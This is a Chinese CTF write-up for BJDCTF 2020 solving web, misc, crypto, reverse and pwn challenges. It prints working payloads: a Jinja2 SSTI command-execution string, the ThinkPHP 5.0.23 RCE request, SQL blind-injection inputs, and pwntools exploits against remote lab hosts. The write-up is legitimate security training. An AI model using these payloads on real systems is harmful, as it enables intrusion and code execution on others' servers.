BJDCTF-2020-WRITEUP---TiKi小組


title: BJDCTF 2020 刷題記錄
categories:

  • CTF
    tags:
  • BJDCTF
  • CTF2020

BJDCTF

Web

duangShell

根據提示,輸入.index.php.swp下載到源碼。

之後在linux內輸入vim -r index.php.swp即可看到源碼

 <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍愛網</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

curl -X POST --data “head /flag” 174.1.51.13:88

用curl帶出flag

fake google

/qaq?name={{1*1}}

ssti模板注入

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

即可讀取flag

old-hack

根據主頁提示是thinkphp5

訪問目錄/index.php?s=captcha

得知詳細版本爲

5.0.23

去網上百度漏洞。

發現以下漏洞。直接利用得到flag。

POST /index.php?s=captcha HTTP/1.1
Host: 45a2092a-fa59-4b90-9c4c-55eec2662d02.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 79


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

簡單注入

通過掃描器掃描到/hint.txt

打開後爲

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

過濾了select,=,’ 等字符

username通過輸入\ 可以逃逸字符串

password = or ascii(substr(password,1,1))>78#

布爾盲注,一個一個測,測出密碼

賬號測得admin

or LENGTH(password)>12# 測得密碼爲12位

密碼正在測

OhyOuFOuNdit

輸入後獲得flag

Misc

題最簡單的misc-y1ng

簡單的僞加密winhex破解一下然後發現了文件,發現是0Q_HS1TVI_G8~G3MFJKIG_Q.png

IHDR 是png的格式,然後加一個表頭,出現圖片破解一下

42 4A 44 7B 79 31 6E 67 7A 75 69 73 68 75 61 69 7D

BJD{y1ngzuishuai}

Real_EasyBaBa

內藏壓縮包,發現壓縮包就是一個陷阱,無用,就看到了奇怪的很整齊的代碼

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-GZWP28er-1584954919873)(https://i.loli.net/2020/03/23/WvVZuGmBAiCxRHf.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-4Dz8MWQ5-1584954919873)(https://i.loli.net/2020/03/23/KGRjZmrfQ35BphL.png)]

發現是一個矩陣圖 BJD{572154976}

EasyBaBa

發現圖片其實是zip,解壓發現,文件打不開,發現是視頻發現視頻中的二維碼

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-UFqUOWFO-1584954919875)(https://i.loli.net/2020/03/23/qY2EmaDvn5uzOgk.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-0eQNRFdr-1584954919876)(https://i.loli.net/2020/03/23/vDJ8pnSVrPOFajX.png)]
修復了一下

61 67 69 6E 5F 6C 6F 76 65 5F 59 42 4A 44 7B 69 6D 31 6E 67 7D

agin_love_YBJD{im1ng}

重新組一下詞語

BJD{imagin_love_Y1ng}

聖火昭昭-y1ng

新佛曰:諸壽隸僧壽降吽壽諸壽陀壽摩隸僧缽薩願心壽吒壽囉寂壽闍諸壽哆壽慧壽聞壽色吽愍壽所壽蜜如

破解

gemlovecom

A_Beautiful_Picture

CRC爆破腳本跑他

_S~UUZ_@T2ODA__@__X2ZL9.png

發現高度被修改,winhex修改一下

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-fKot8bU2-1584954919880)(https://i.loli.net/2020/03/23/RehYp7KSN9TFuod.png)]

BJD{PnG_He1ghT_1s_WR0ng}

Crypto

簽到-y1ng

題目給出一段編碼,一看就知道是base64,於是base64解密得flagflag:BJD{W3lc0me_T0_BJDCTF}

cat_flag

一組小貓吃飯糰的是0 吃雞腿的是1 按此排列出一串二進制01000010

01001010

01000100

01111011

01001101

00100001

01100001

00110000

01111110

01111101

在轉成十六進制,從十六進制在轉成字符串

即可得到flag:BJD{M!a0~}

老文盲

BJD{淛匶襫黼瀬鎶軄鶛驕鰳哵}

燕言燕語-y1ng

題目是79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20

轉成字符串爲yanzi ZJQ{xilzv_iqssuhoc_suzjg}

維吉尼亞密碼解得BJD{yanzi_jiushige_shabi}

Reverse

guessgame

P_1@_EJ_Y_0NMK9_H6~8NF4.png

IDEA打開即可

PWN

one_gadget

題目說明

題目提示one_gadget

下載它的2.29libc,並one_gadget命令找一下libc裏面的gadget

解題思路

exp:

from pwn import*
context.log_level = 'debug'
#p= process('./one_gadget')
p = remote('node3.buuoj.cn',25747)
libc = ELF('./libc-2.29.so')
p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)
log.success('printf_addr==>'+hex(printf_addr))
base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
#gdb.attach(p)
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()

r2t3

解題思路

整數溢出

from pwn import*
#context.log_level = 'debug'
#p = process('./r2t3')
p =remote('node3.buuoj.cn',28270)
p.recvuntil('name:\n')
payload = 'A'*(0x11+4)+p32(0x0804858B)
payload = payload.ljust(260,'a')
#gdb.attach(p,'b *0x080485E9')
p.sendline(payload)
p.interactive()

snake_dyn

玩貪吃蛇。3000 2333

EQPYE__SMXI_S4IP@@9__4D.png
完~~~~~~~~~~謝謝觀看在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章